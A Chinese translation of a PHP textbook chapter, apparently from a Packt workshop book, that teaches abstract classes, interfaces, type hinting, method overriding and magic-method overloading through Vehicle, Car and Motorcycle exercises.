PHP 支持抽象类和方法,并且可以使用abstract关键字来编写。抽象类不能被实例化;相反,它可以被继承以实现对象之间的共同行为。一个类必须包含至少一个抽象方法才能成为抽象类。使用此类,我们向子类提供共同的方法。在抽象类中,共同的方法可能是抽象的,因为它们只有签名,而子类以它们自己的方式实现这些方法。声明为抽象方法的方法不得包含实现代码。

查看以下语法:

abstract class ClassName{
    abstract function methodName(param1);
    // more abstract method declarations
    function anotherMethod()
    {
        //function body
    }
    //more implemented functions
}
class MyChildClass extends ClassName{
    function methodName(param1, param2)
    {
        //the implementation goes here
    }
}

抽象类可以包含一些实现的方法,以及抽象方法。通常,我们保留这些方法为抽象的,它们应该在不同的子类中有不同的实现。

除了抽象方法实现外,子类必须添加抽象方法中给出的所有参数,并且可以选择添加额外的参数。比如说,抽象方法带有两个参数,那么子类必须添加这两个参数,并且可以选择添加它自己的参数。

在以下练习中,我们将向汽车和摩托车添加基本的引擎功能,以便引擎可以被打开和关闭。

练习 5.6:实现抽象类

在这个练习中,我们将把Vehicle类转换为一个抽象类,这样我们就可以以抽象的方式提供引擎启动动作,并且每个子类都可以以自己的方式实现引擎启动。我们可以添加一个抽象的引擎启动方法,这样CarMotorcycle就可以继承引擎动作并实现它,以自己的方式启动车辆。这个练习的整个想法是练习和理解抽象如何帮助我们实现某些场景。为了为每种车辆类型提供一个抽象的引擎启动,我们将通过在它前面添加abstract关键字并将一个抽象的引擎启动方法添加到Vehicle类中,简单地声明Vehicle类为抽象类。由于CarMotorcycle扩展了Vehicle类,它们将被迫实现这个abstract方法。

PSR 命名规范

抽象类名称必须以abstract前缀开头;例如,AbstractTest。您可以查看packt.live/2IEkR9k

让我们看看步骤:

  1. 打开Vehicle.php类,在class关键字之前添加abstract关键字,如下所示:

    abstract class Vehicle
    {
        //code goes here
    }
    

    因此,Vehicle类变成了一个抽象类,正如之前讨论的那样。

  2. 此外,将类名前缀改为Abstract

    abstract class AbstractVehicle 
    {
        //code goes here
    }
    

    Vehicle.php文件重命名为AbstractVehicle.php

  3. 使用以下方式更新Car.php文件,包括抽象AbstractVehicle类名称和AbstractVehicle.php文件名:

    <?php
    require_once 'AbstractVehicle.php';
    class Car extends AbstractVehicle 
    {
        //code goes here
    }
    

    对于Motorcycle.php,添加以下内容:

    <?php
    require_once 'AbstractVehicle.php';
    class Motorcycle extends AbstractVehicle 
    {
        //code goes here
    }
    
  4. 我们需要在AbstractVehicle类中添加一个属性来存储引擎状态——它是否启动或停止,所以让我们添加一个受保护的$engineStatus属性,其类型为布尔型,以便它以truefalse的形式保存正在运行的引擎状态:

    <?php
    abstract class AbstractVehicle 
    {
        public $make;
        public $model;
        public $color;
        protected $noOfWheels; 
        private $engineNumber;
        public static $counter = 0;
        protected $engineStatus = false;
    

    在这里,我们添加了一个默认值为 false 的$engineStatus属性,这样我们就可以确认引擎没有在运行。

    根据我们的抽象类概念,我们将添加一些在每个车辆类型中都会实现的方法,以及一些在每个车辆类型中都会以不同方式实现的非实现抽象方法。汽车的引擎启动和摩托车不同,所以这个方法应该是抽象的,但停止引擎或获取引擎状态应该是相同的。

  5. 在抽象类Vehicle中添加以下抽象方法签名,这个方法在CarMotorcycle中应该有不同的实现(即:表现不同):

        abstract function start();
    

    现在,两个车辆子类都将被强制在自己的类中实现这个方法。

  6. 此外,我们将通过实现的方法提供一些公共功能,以便子类可以使用。在AbstractVehicle类中添加以下两个方法:

        function stop()
        {
            $this->engineStatus = false;
        }
        function getEngineStatus()
        {
            return $this->engineStatus;
        }
    

    在这里,为了停止引擎和获取引擎状态,我们添加了stop()getEngineStatus()方法。所以,这两个方法在CarMotorcycle中应该是相同的。

    最后,具有单个抽象方法的抽象类 AbstractVehicle 看起来如下:

    AbstractVehicle.php
    1  <?php
    2  abstract class AbstractVehicle
    3  {
    4      public $make;
    5      public $model;
    6      public $color;
    7      protected $noOfWheels;
    8      private $engineNumber;
    9      public static $counter = 0;
    10     protected $engineStatus = false;
    https://packt.live/2AVSSh0
    
  7. 现在,是时候在子类中实现抽象的 start() 方法了。汽车启动发动机有自己的方式——你需要将钥匙插入点火开关。在 Car.php 中,添加一个私有属性 $hasKeyinIgnition,以及 start() 实现如下:

    Car.php
    1  <?php
    2  require_once 'AbstractVehicle.php';
    3  class Car extends AbstractVehicle 
    4  {
    5      public $doors = 4; 
    6      public $passengerCapacity = 5;
    7      public $steeringWheel = true;
    8      public $transmission = 'Manual';
    9      private $hasKeyinIgnition = true;
    10     public function start()
    11     {
    12         if($this->hasKeyinIgnition) 
    13         {
    14             $this->engineStatus = true;
    15         }
    https://packt.live/2pHdFmh
    

    因此,汽车通过在点火开关中插入钥匙来实现发动机启动。$this->hasKeyinIgnition 应该为 true 以将 $engineStatus 变量设置为 starttrue

  8. 我们可以创建一个 Car 对象,并按如下方式启动/停止发动机:

    $car = new Car('Honda', 'Civic', 'Red', 4, '23CJ4567');
    $car->start();
    echo "The car is " . ($car->getEngineStatus()?'running':'stopped') .   PHP_EOL;
    $car->stop();
    echo "The car is " . ($car->getEngineStatus()?'running':'stopped') .   PHP_EOL;
    
  9. 使用 php Car.php 命令运行 Car.php。前面的代码应该输出以下内容:图 5.16:汽车对象上的抽象方法实现

    图 5.16:汽车对象上的抽象方法实现

  10. 摩托车需要一把钥匙来解锁车辆,并踩在相应的杠杆上以启动发动机。术语“kickstart”就是从这个特定类型的车辆中来的。打开 Motorcycle.php 来模拟钥匙到位和启动过程。让我们添加两个私有属性 $hasKey$hasKicked,并按如下方式实现 start() 方法:

    class Motorcycle extends AbstractVehicle 
    {
        public $noOfWheels = 2;
        public $stroke = 4;
        private $hasKey = true;
        private $hasKicked = true;
        public function start()
        {
            if($this->hasKey && $this->hasKicked) 
            {
                $this->engineStatus = true;
            }
        }
    }
    

    在这里,在 start() 方法中,我们已经检查了启动摩托车发动机所需的两个元素是否存在,并通过将 $engineStatus 设置为 true 来启动了发动机。

  11. 同样,我们可以创建一个 Motorcycle 对象,并按如下方式启动/停止发动机:

    $motorcycle = new Motorcycle('Kawasaki', 'Ninja', 'Orange', 2,   '53WVC14598');
    $motorcycle->start();
    echo "The motorcycle is " . ($motorcycle->getEngineStatus()?'running':  'stopped') . PHP_EOL;
    $motorcycle->stop();
    echo "The motorcycle is " . ($motorcycle->getEngineStatus()?'running':  'stopped') . PHP_EOL;
    
  12. 使用 php Motorcycle.php 命令运行 Motorcycle.php。前面的代码应该输出以下内容:

图 5.17:摩托车对象上的抽象方法实现

](https://github.com/OpenDocCN/freelearn-php-zh/raw/master/docs/php-ws/img/C14196_05_16.jpg)

图 5.17:摩托车对象上的抽象方法实现

因此,子类中相同动作的不同行为应该以抽象的方式来自父类。

接口

我们已经讨论了如何通过抽象类提出共同和抽象的方法。在抽象类中,我们保留在派生类中应该不同的方法。如果我们想要一套完整的抽象功能呢?或者,如果我们想要确定功能标准呢?也许我们想要建立一个与对象通信的标准方法集?这就是为什么我们需要接口。接口将类似的抽象方法分组,以便它可以表达一个抽象特征,并且需要该功能的不同的类可以实现该接口。例如,Flight 功能由 BirdsAeroplanes 实现。因此,Flight 接口必须是完全抽象的,这样 BirdsAeroplanes 就可以实现完全不同的飞行技术。

接口可以类似于没有 class 关键字和没有所有方法体的类。因此,接口是一组要实现的方法签名,如下所示:

interface MyInterface{
    function methodName1();
    function methodName2();
    //so on
}
class MyClass implements MyInterface{
    function methodName1() 
    {
        //method body
    }
    function methodName2() 
    {
        //method body
    }
}

接口不能扩展,而应实现;类使用 implements 关键字继承给定的接口,以便它们可以实施。PHP 支持接口中的常量,以便实现类自动定义这些常量。实现接口的类应该实现每个方法,如果任何方法未实现,则将产生致命错误。

一个类可以实现多个接口:

class A implements B, C 
{
    // class body
}

一个接口可以扩展多个接口:

interface.php
1  interface A 
2  {
3      function a();
4  }
5       
6  interface B 
7  {
8      function b();
9  }
10 interface C extends A, B 
11 {
12     function c();
13 }
https://packt.live/2IFanX7

因此,一个类可以扩展一个类,并实现多个接口,一个接口可以扩展多个接口。但是实现/扩展接口不应有同名的方法,这会导致接口冲突。

注意

接口方法始终是公开的,你无法在它们的声明中为方法原型声明访问修饰符。

接口常量可以像类常量一样访问,但它们不能通过继承被类或接口覆盖。

这是 Drive 接口的一个表示:

图 5.18:驱动接口图

]

图 5.18:驱动接口图

参考前面的图,再次考虑车辆类比。汽车和摩托车都可以驾驶,因此它们需要自己的驱动接口。在驾驶过程中,它们应该改变速度、改变档位、施加制动等。我们可以看到,驾驶行为是共同的,两种类型的车辆中必要的动作是相同的。问题是,尽管动作相同,但它们处理这些动作的方式不同。这就是我们需要接口的地方。我们可能想要声明一个具有 changeGear()changeSpeed()applyBreak() 抽象方法的 Drive 接口。

因此,接口侧重于功能,而不是作为对象的模板(抽象类的模板)。这是接口和类抽象之间的主要区别。

我们可以为 CarMotorcycle 添加一个简单的驱动接口,以便车辆可以改变速度、改变档位和施加制动。如果车辆没有实现制动,则将显示致命错误。

让我们在下面的练习中添加驾驶功能作为接口。

练习 5.7:实现接口

在这个练习中,我们将练习使用对象接口,并学习接口如何为对象实现行为提供一种标准方式。我们将创建一个接口,包含必要的驾驶指南,例如改变速度和档位的能力,或在需要时施加制动的能力:

注意

根据 PSR 命名约定,接口名称必须后缀为 interface;例如,TestInterface (packt.live/2IEkR9k)。

  1. 创建以下 Drive 接口并将其保存为 DriveInterface.php

    <?php
    interface DriveInterface
    {
        public function changeSpeed($speed);
        public function changeGear($gear);
        public function applyBreak();
    }
    

    在这里,我们声明了 Drive 接口,并使用最小的方法签名集。记住,这里不应该有任何实现;相反,实现应该转移到实现该接口的对象中。

    要改变速度,我们添加了 changeSpeed($speed) 方法签名,它接受一个参数以实现所需的速度。要改变挡位,我们添加了 changeGear($gear) 方法签名,它接受一个参数以切换到要换的挡位。要应用刹车,我们添加了 applyBreak() 方法,这样我们就可以在需要时模拟“刹车”行为。

  2. 按照以下方式将接口添加到 CarMotorcycle 类中:

    <?php
    require_once 'AbstractVehicle.php';
    require_once 'DriveInterface.php';
    
  3. 现在,CarMotorcycle 类应该按照以下方式实现接口,并为 changeSpeed()changeGear()applyBreak() 添加它们自己的实现:

    class Car extends AbstractVehicle implements DriveInterface 
    {
    
    }
    class Motorcycle extends AbstractVehicle implements DriveInterface 
    {
    
    }
    

    如果我们尝试运行 Car.phpMotorcycle.php,它将产生一个致命错误,指出这些类必须包含三个抽象方法,因此必须声明为抽象或实现剩余的方法。因此,我们需要添加这三个接口或方法的实现。

  4. 按照以下方式在 Car 类中实现这三个方法:

        public function changeSpeed($speed)
        {
            echo "The car has been accelerated to ". $speed. " kph. ".          PHP_EOL;
        }
        public function changeGear($gear)
        {
            echo "Shifted to gear number ". $gear. ". ". PHP_EOL;
        }
        public function applyBreak()
        {
            echo "All the 4 breaks in the wheels applied. ". PHP_EOL;
        }
    

    在这里,Car 实现了 DriveInterface 接口的三个方法。我们可以在其中放置相关的实现,但为了学习的目的,我们只是在其中打印了一条简单的信息。

  5. 现在,按照以下方式实例化 Car 类并开始驾驶:

    $car = new Car('Honda', 'Civic', 'Red', 4, '23CJ4567');
    $car->changeSpeed(65);
    $car->applyBreak();
    $car->changeGear(4);
    $car->changeSpeed(75);
    $car->applyBreak();
    

    在这里,我们调用了驾驶方法来执行 Car 实现的操作。

  6. 如果我们尝试使用 php Car.php 运行 Car 脚本,前面的代码应该打印以下内容:图 5.19:由汽车实现的  接口

    图 5.19:由汽车实现的 DriveInterface 接口

  7. 还需要在 Motorcycle 类中添加这三个方法的实现,如下所示:

        public function changeSpeed($speed)
        {
            echo "The motorcycle has been accelerated to ". $speed. " kph. " .           PHP_EOL;
        }
        public function changeGear($gear)
        {
            echo "Gear shifted to ". $gear. ". " . PHP_EOL;
        }
        public function applyBreak()
        {
            echo "The break applied. " . PHP_EOL;
        }
    

    在这里,我们在 Motorcycle 类中实现了 DriveInterface 接口。就像那样,你可以提出自己的实现,在这里,为了学习的目的,我们在这种 DriveInterface 实现中打印了不同的信息。

  8. 现在,按照以下方式实例化 Motorcycle 类并开始驾驶:

    $motorcycle = new Motorcycle('Kawasaki', 'Ninja', 'Orange', 2,   '53WVC14598');
    $motorcycle->changeSpeed(45);
    $motorcycle->changeGear(3);
    $motorcycle->applyBreak();
    

    在这里,我们调用了驾驶方法来执行 Motorcycle 实现的操作。

  9. 如果我们尝试使用 php Motorcycle.php 运行 Motorcycle 脚本,前面的代码应该打印以下内容:

图 5.20:由摩托车实现的 DriveInterface 接口

因此,车辆可以在行驶过程中换挡、变速和刹车。DriveInterface 接口描述了车辆及其派生对象在行驶中应遵循的标准行为,而这些派生对象遵循了标准特性的公式。此外,该接口还可以添加更多功能,以便派生对象必须实现它们。

注意

实现方法和接口方法的声明必须相互兼容;例如,参数数量或签名应该完全相同。

抽象类与接口

我们已经了解了类抽象和对象接口的概念如何作为继承的附加维度很好地工作,从而为派生对象提供共同的行为和标准。关于何时使用抽象类和何时使用接口,经常有争论。尽管我们已经通过练习了解了两者的实际应用案例,但这个话题仍然需要讨论。

抽象类旨在通过方法向扩展对象提供共同的行为或动作,同时为共同方法的不同实现保留重要的空间。相比之下,接口是为了设置与对象交互的标准方式。一个抽象类必须至少有一个抽象方法,而接口中的所有方法都是抽象的。记住,这并不是一个有一个或多个抽象方法与所有抽象方法的概念。在继承方面,两者都有自己的用例:抽象类提供共同的功能,并允许我们实现自己的功能,而接口根本不是关于共享功能;相反,接口完全是关于为某些动作设置标准。

简单的抽象类可以有实现的方法和属性,而接口则不能,因为它们包含常量和没有主体的方法签名。因此,无法通过接口共享代码。

在之前的练习中,抽象类为我们提供了共同的引擎功能,并允许我们以自己的方式处理引擎的特定功能。接口向我们展示了驾驶汽车的标准,我们遵循这些指南以实现我们的驾驶行为目标。

类类型提示在依赖注入中发挥作用

类型提示允许我们定义要传递给函数的数据类型。PHP 支持类类型提示,这意味着在函数参数中,你可以提到传递的参数对象属于哪个类类型。例如,一个User类可能想使用Mailer服务来发送电子邮件。Mailer对象可以传递给User类,而User需要确保传递给它的不是Mailer对象以外的任何东西。

查看以下示例,其中函数参数预期为特定类的实例:

function myMethod($object)
{
    if(!($obj instanceof ClassName)) 
    {
        throw new Exception('Only Objects of ClassName can be sent to this           function.');
    }
}

如果对象不是预期类的实例,则抛出异常,消息为"只有 ClassName 的对象可以发送到这个函数。"。

注意

异常是一个可以抛出并带有错误信息的类,这样捕获块就可以捕获异常并相应地工作。"第八章,错误处理"详细讨论了异常。

之前的代码片段等同于以下类类型提示语法:

function myMethod(ClassName $object)
{
}

因此,使用类类型提示,我们可以强制函数或方法调用者传递适当的对象类型。当应用类类型提示时,PHP 会自动执行instanceof检查,如果对象不满足类关系,则产生错误。

user对象可能需要发送电子邮件并执行某些数据库操作;因此,用户依赖于mailer对象和database对象。我们可以如下提供这样的mailerdatabase对象给user对象:

User.php
1  <?php
2  class User 
3  {
4      public $name;
5      private $mailer;
6      private $database;
7      
8      function __construct(string $name, Mailer $mailer, Database $db)
9      {
10         $this->name = $name;
11         $this->mailer = $mailer;
12         $this->database = $db;
13     }
14 }
https://packt.live/2M2Kl23

在这里,在实例化User类时,我们传递了用户名、一个mailer对象和一个database对象作为参数。Mailer $mailer类类型提示确保只能提供Mailer类的唯一实例,而Database $database类的其他类类型提示确保只能提供Database类的唯一实例。我们在用户的构造函数中添加了这两个对象依赖项,以便对象加载了某些依赖项,并且任何注入依赖项的失败都将阻止对象创建。

之前的技术被称为构造器注入。您可以使用 setter 方法注入依赖项,或者可以使用依赖注入容器。您可以搜索书籍或在线资源来进一步扩展您对依赖注入的了解。

在下一节中,我们将讨论多态的两个重要方面,它们在不同条件下服务于相同的目的。

覆盖

覆盖是更新现有实现(继承的实现)的过程;它可以是重新声明派生对象中的类属性,或者可以是使用全新的函数体更新继承的成员方法。覆盖保持外部接口不变,而内部

功能可能完全改变以适应您的目标。在 PHP 中,您可以同时进行属性和方法覆盖。请注意,这种覆盖发生在通过继承派生的新类中。

例如,一个动物类可能提供一种共同的行为;例如,吃。这种行为通过继承在动物子类之间共享。但事实是,每个动物子类都有自己独特的方式进食。像狗和鸟一样,它们在自己的类中重新定义了进食的行为。添加自己独特方式的观念被概念化为覆盖。

属性覆盖

属性覆盖是替换子类中父类数据的进程。我们已经看到,Motorcycle类覆盖了从父类Vehicle继承的轮子数量,将其更改为两个,因为摩托车是两轮车。因此,为了满足派生类的要求,我们覆盖了以下属性:

<?php
require_once 'AbstractVehicle.php';
class Motorcycle extends AbstractVehicle 
{
    public $noOfWheels = 2;
    public $stroke = 4;
}

方法覆盖

当我们需要重写继承的方法时,方法重写是必要的。例如,为了获取车辆的价格,类提供了一个 getter 方法,车辆子类可以通过继承使用 getter。如果我们想调整特定类型车辆返回的价格;例如,折扣后的摩托车价格,并保持Car的 getter 不变?我们需要通过重写来调整所需的子类价格 getter。

查看以下方法重写的示例:

class MySimpleClass{
    public $propertyName = 'base property';
    function methodName()
    {
        echo 'I am a base method. ';
    }
}
class MyNewClass extends MySimpleClass{
    function methodName()
    {
        echo 'I am an overridden method. ';
    }
}
$object = new MyNewClass();
$object->propertyName; //holds 'base property'
$object->methodName(); //prints 'I am an overridden method.'

因此,我们可以重写继承的方法,并更新方法以使用新的实现。

让我们玩得开心一些,出售我们的车辆。到目前为止,我们已经在 OOP 的帮助下为我们的车辆添加了技术特性。现在,让我们为我们的车辆类型添加一些与商业相关的特性。在下面的练习中,汽车和摩托车的价格应使用通用方法返回。摩托车的价格应在应用 5%折扣后返回,而汽车价格不适用折扣。

练习 5.8:重写继承的方法

在这个练习中,我们将通过向父Vehicle类添加简单的getPrice()getter 方法并重写子类中的方法来练习方法重写。如果我们向父Vehicle类添加一个具有方法实现的 getter 方法,那么它应该对所有子类可用。我们将重写Motorcycle类中的getPrice()方法,因为我们需要在那个子类中以不同的方式处理定价:

  1. 打开AbstractVehicle.php并在属性部分添加以下受保护的属性:

        protected $price;
    
  2. 还在方法部分添加getPrice()setPrice()价格 getter 和 setter 方法,如下所示:

        function getPrice()
        {
            return $this->price;
        }
        function setPrice($price)
        {
            $this->price = $price;
        }
    

    在这里,getPrice()简单地返回价格,setPrice()接受$price作为参数,将其分配给车辆的price属性,并且这两个方法都应该对CarMotorcycle对象可用,以便我们可以分别设置和获取汽车和摩托车的价格。

  3. 想象一下,为了特殊场合,所有类型的摩托车都有 5%的折扣。现在,我们需要将这个折扣应用到这种特定车辆类型的价格上。

    为了对价格进行不同的处理,我们需要在Motorcycle.php类中重写getPrice()方法,并将getPrice()方法添加到类中,如下所示,并修改价格计算:

        function getPrice()
        {
            return $this->price - $this->price * 0.05;
        }
    

    在这里,我们从原始价格中扣除了折扣值。因此,摩托车对象将返回折扣后的价格,而汽车对象将返回原始价格。

  4. 为了测试折扣后的价格,我们应该实例化Motorcycle类,设置价格,并获取价格以查看是否应用了折扣。让我们在Motorcycle.php中执行以下操作:

    $motorcycle = new Motorcycle('Kawasaki', 'Ninja', 'Orange', 2,   '53WVC14598');
    $motorcycle->setPrice(5000);
    echo "The price is ". $motorcycle->getPrice() . PHP_EOL;
    

    在这里,我们将原始价格设定为5000并尝试使用getPrice()方法获取价格。

  5. 现在,如果我们使用php Motorcycle.php命令运行Motorcycle.php,前面的代码将输出以下内容:

    The price is 4750
    

因此,所提到的折扣已经应用于摩托车价格,如果我们为汽车应用 getter 和 setter 方法,我们应该得到与原始设置相等的汽车价格。这就是为什么当我们需要子类以不同方式实现某些功能时,我们需要重写。

重载

使用重载的多态概念的一个重要方面是关于同一事物以不同的方式定义或在不同场合表现出不同的行为。

通常,在 C++和 Java 等编程语言中,方法重载或函数多态只是声明具有不同参数的相同函数;例如,int add(int a, int b)int add(int a, int b, int c)double add(double a, double b, double c)等等。这些可能具有不同的实现。在这种传统方式中,函数名保持不变,而返回类型和参数的数量及其类型可能不同。这种情况也发生在静态类型编程语言(C++/Java)中,其中类型检查发生在编译时,函数绑定取决于每个参数的类型。因此,对于静态类型语言,每个这样的函数都是不同的。

在 PHP 中,你可以尝试声明一个与以下相同的名称的函数或方法:

function add($a, $b)
{
    //function body
}
function add($a, $b, $c)
{
    //function body
}

这将产生一个致命错误,你不能重新声明具有相同名称的函数或方法。

PHP 不支持多次声明相同的函数。尽管如此,你可以使用内置的func_get_args()函数来实现经典的重载功能,以便使同一个函数能够接受多个参数,因为 PHP 不关心参数类型。以下是一个讨论的例子。让我们使用以下方法:

function add() 
{
    $sum = 0;
    $args = func_get_args();
    foreach ($args as $arg)
    {
        $sum += $arg;
    }
    return $sum;
}
echo add(1, 2); //outputs '3'
echo add(10.5, 2.5); //outputs '13'
echo add(10.5, 2.5, 9.6, 55.2); //outputs '77.8'

func_get_args()可以使你的函数支持多个参数。此外,如果你担心参数类型,你可以在函数内部处理类型检查。

因此,前面提到的方法不是本节将要讨论的关于面向对象编程(OOP)中方法重载的方法。PHP 在面向对象编程中的重载方面提供了很多灵活性。然而,这种方法与其他语言不同,这也可能是为什么在传统重载方式与 PHP 的重载方式之间存在一些争议。

PHP 中重载的解释与大多数其他面向对象的语言不同。重载允许你拥有多个具有相同名称但不同签名的函数。

PHP 允许通过实现某些魔术方法来重载属性和方法调用。当尝试访问当前作用域中未声明或不可访问的属性和方法时,会调用这些魔术方法。这些特殊的代理方法用于在运行时创建属性和方法(动态属性和方法),我们可以在我们的类中轻松实现魔术方法以实现多种功能。

属性重载

我们可能需要在运行时向我们的对象添加数据;例如,在我们的 Car 子类中,我们没有声明模型、年份、车主姓名等属性。但在程序运行时,我们可能希望将这些属性存储在我们的对象中。PHP 允许您通过属性重载在运行时实现这样的动态属性添加。因此,通过这种动态声明,属性在用途上足够多态,并且可以轻松重载。

对于属性或属性重载,PHP 支持以下两个魔术方法:

  • public __get(string $attribute) : mixed

  • public __set(string $attribute, mixed $value)

__get() 在访问或读取未声明或不可访问(受保护或私有)属性时被调用,而 __set() 在尝试写入未声明或不可访问(受保护或私有)属性时被调用。我们只需要在我们的类中实现这两个特殊方法,以使用动态(在运行时创建)属性。__set() 接受任何类型的(混合)数据作为第二个参数;__get() 返回该类型的数据。在这里,mixed 关键字被用来解释该方法返回或接受的数据类型,如整数、字符串、数组、对象等。

让我们看看这里具有这些两种方法实现的类:

<?php
class MyMagicClass 
{
    private $arr = array();
    public function __set($attribute, $value)
    {
        $this->arr[$attribute] = $value;
    }
    public function __get($attribute)
    {
        if (array_key_exists($attribute, $this->arr)) 
        {
            return $this->arr[$attribute];
        }
        else 
        {
            echo 'Error: undefined attribute.';
        }
    }
}
$object = new MyMagicClass();
$object->dynamicAttribute = 'I am magic';
echo $object->dynamicAttribute . PHP_EOL; //outputs, I am magic 

在这里,私有声明的属性 $arr 存储来自 __set() setter 魔术方法的动态属性。该属性已被用作数组键,通过 $this->arr[$attribute] = $value 这一行存储传递的值。

此外,为了通过实现的 getter 魔术方法 __get() 返回已设置的属性,我们已使用 array_key_exists() 函数检查该属性是否存在于数组中。如果存在,则通过使用属性名作为键访问 $arr 来返回属性值。否则,打印错误信息。

$object->dynamicAttribute = 'I am magic'; 这一行,我们访问了一个在 MyMagicClass 类内部任何地方都没有声明的属性。因此,在幕后,调用了魔术方法 __set('dynamicAttribute', 'I am magic') 来存储该属性。__get('dynamicAttribute')echo $object->dynamicAttribute . PHP_EOL; 这一行被调用。

实现这样的魔术方法为您提供了很多灵活性来定义自己的属性。请记住,属性重载在对象上下文中工作,而不是在静态上下文中。

现在,问题是,我们是否允许动态创建许多属性,或者我们应该施加一些限制?或者是否存在一组预定义的属性,我们接受为重载。答案是,我们应该预定义我们将要重载的属性集。在先前的例子中,我们应该将一个预定义的重载属性列表添加到一个数组中,并在__set()方法中,将给定的动态属性与我们的预定义数组交叉检查,以确定是否允许。

让我们来看看以下示例:

MyMagicClass.php
1  <?php
2  class MyMagicClass
3  {
4      private $arr = array('dynamicAttribute' => NULL,'anotherAttribute' => NULL);
5      public function __set($attribute, $value)
6      {
7          if (array_key_exists($attribute, $this->arr))
8          {
9              $this->arr[$attribute] = $value;
10         } 
11         else 
12         {
13             echo 'Error: the attribute is not allowed. ';
14         }
15     }
https://packt.live/2B1RAkO

在这里,我们在$arr私有属性中添加了一个关联数组,当__set()方法触发时,我们使用array_key_exists()函数检查属性是否在$arr中允许;否则,我们打印一条错误信息。

我们足够灵活,可以提出这样的特殊代理方法的创新实现和限制。在魔法设置器和获取器实现之后,我们可以实现以下两个魔法方法:

  • public __isset(string $attribute) : bool

  • public __unset(string $attribute): void

如果我们想要使用isset($attribute)empty($attribute)函数检查属性,那么应该实现__isset()。同样,如果我们想要实现和取消设置属性,应该实现__unset()。没有__isset()__unset(),我们将无法使用原生的isset()unset()

注意

PHP 的魔法方法不应声明为静态,因为它们仅在对象上下文中触发。实现的魔法方法必须声明为公共的。此外,在魔法方法中不能使用按引用作为参数。__符号是为魔法方法保留的。

方法重载

方法重载完全是关于使用相同的方法做额外的工作。例如,在我们的Car子类中,我们没有声明honking行为。如果我们能够在运行时动态地使用honk()方法,并且可以用响亮的声音重载正常的honking行为,那会怎么样?PHP 支持这样的动态方法声明,并且我们允许重载这些方法。

对于方法重载,PHP 支持以下两个魔法方法:

  • public __call(string $method, array $arguments): mixed

  • public static __callStatic(string $method, array $arguments): mixed

这些是当在对象上下文中调用不可访问的方法时触发的__call(),以及当在静态上下文中调用不可访问的方法时触发的__callStatic()。这些方法的第二个参数是$arguments,它是一个数值索引数组。索引 0 包含第一个参数,依此类推。

让我们来看看以下这些魔法方法的实现:

MyMagicMethodClass.php
1  <?php
2  class MyMagicMethodClass 
3  {
4      public function __call($method, $arguments)
5      {
6          var_dump($arguments);
7      }
8      public static function __callStatic($method, $arguments)
9      {
10         var_dump($arguments);
11     }
12 }
https://packt.live/2ou8JRm

在这里,使用 $object->showMagic('object context', 'second argument'); 这一行,showMagic() 在任何地方都没有声明,或者是一个对对象处理程序不可访问的方法,所以幕后 __call() 被调用,就像 __call('showMagic', array('object context', 'second argument'))。同时,你可以看到 showMagic() 方法可以与不同数量的参数交互。

同样,__callStatic('showMagic', array(static context')) 在静态上下文中工作,当调用 MyMagicMethodClass::showMagic('static context') 时。

练习 5.9:实现属性和方法重载

在这个练习中,让我们在 AbstractVehicle 中实现属性和方法重载的魔术方法,以便车辆类型都应该能够在运行时定义它们的动态属性和方法。我们所需做的只是,将之前讨论的 __set()__get()__call() 魔术方法实现到 AbstractVehicle 类中。这将帮助 CarMotorcycle 对象获得这样的运行时属性和方法创建:

  1. 打开 AbstractVehicle.php 并添加以下私有属性,它持有动态时间属性:

            private $runtimeAttributes = array();
    

    在这里,$runtimeAttributes 应该作为一个关联数组来存储动态属性的运行时键值对。属性或属性名称应该是键,相关值是关联值。

  2. 现在,我们应该在 AbstractVehicle 类中添加魔术设置器,__set(),如下所示:

            function __set($attribute, $value)
            {
                $this->runtimeAttributes[$attribute] = $value;
            }
    

    在这里,$attribute 名称和 $value 通过 $attribute$value 参数传递给魔术方法。使用 $attribute 属性名称参数作为键,将 $value 运行时属性存储在关联数组中,这样我们就可以通过 $this->runtimeAttributes[$attribute] 访问运行时属性。

  3. 让我们添加魔术获取器,__get()

            function __get($attribute)
            {
                if (array_key_exists($attribute, $this->runtimeAttributes)) 
                {
                    return $this->runtimeAttributes[$attribute];
                } 
                else 
                {
                    echo "Error: undefined attribute. " . PHP_EOL;
                }
            }
    

    在这里,魔术方法要求通过传递属性名称作为参数来返回运行时属性值。该方法使用 PHP 的 array_key_exists() 函数检查属性名称是否作为键存在于 $this->runtimeAttributes 中。如果属性之前已设置,则应返回它,否则将打印前面的错误消息。

  4. 现在,在 Car.php 类中尝试在运行时创建这样的属性。例如,我们可以添加汽车属性,如 ownerNamemakeyear 等,如下所示:

    $car = new Car('Honda', 'Civic', 'Red', 4, '23CJ4567');
    $car->ownerName = 'John Doe';
    echo " Owner: ". $car->ownerName . PHP_EOL;
    $car->year = 2015;
    echo " Year: ". $car->year . PHP_EOL; 
    $car->wipers;
    

    在这里,我们没有在 Car 类中声明 $ownerName$year。当通过一个未声明或对对象不可访问的 Car 对象处理程序访问属性时,PHP 将调用魔术方法以提供该属性。请注意,如果没有为这样的运行时属性分配值,它将不可用或注册。

    由于 Car 类继承了实现的魔术方法,并且我们已经使用 $car->ownerName$car->year 在属性上设置了值,它们已经被添加到私有父类 Vehicle$runtimeAttributes 数组中。

  5. 如果我们尝试使用php Car.php命令运行Car.php,前面的代码应该按以下方式打印:图 5.21:汽车对象的属性重载和非现有属性访问

            function __call($method, $arguments)
            {
                echo "The method $method() called. " . PHP_EOL;
            }
    
  6. 这里,我们添加了带有两个参数的魔术方法实现。第一个参数$method是方法名称,后者$arguments是一个参数数组,当调用给定方法时,我们将传递这些参数。

    因此,我们可以添加自己的样式或模式作为实现,但现在,为了简单起见,我们只是在函数内部打印了方法名称。

  7. Car.php的底部添加以下行:

    $car->honk();
    

    这里,我们调用了honk()方法,以动态地向我们的Car对象添加鸣笛行为。

  8. 如果我们使用php Car.php命令运行Car.php,它将输出以下内容:图 5.22:汽车的函数重载

    图 5.22:汽车的函数重载

  9. 我们现在可以通过在AbstractVehicle.php中更新__call()方法,以下列内容轻松地重载honk()方法:

    AbstractVehicle.php
    111     function __call($method, $arguments) 
    112     { 
    113         switch ($method) { 
    114             case 'honk': 
    115                 if (isset($arguments[0])) { 
    116                     echo "Honking $arguments[0]... " . PHP_EOL; 
    117                 } else { 
    118                     echo "Honking... " . PHP_EOL; 
    119                 } 
    120                 if (isset($arguments[1])) { 
    121                     echo "$arguments[1] enabled... " . PHP_EOL; 
    122                 } 
    123                 break; 
    124             default: 
    125                 echo "The method $method() called. " . PHP_EOL; 
    126                 break; 
    127         } 
    128     } 
    https://packt.live/2pbDEC8
    

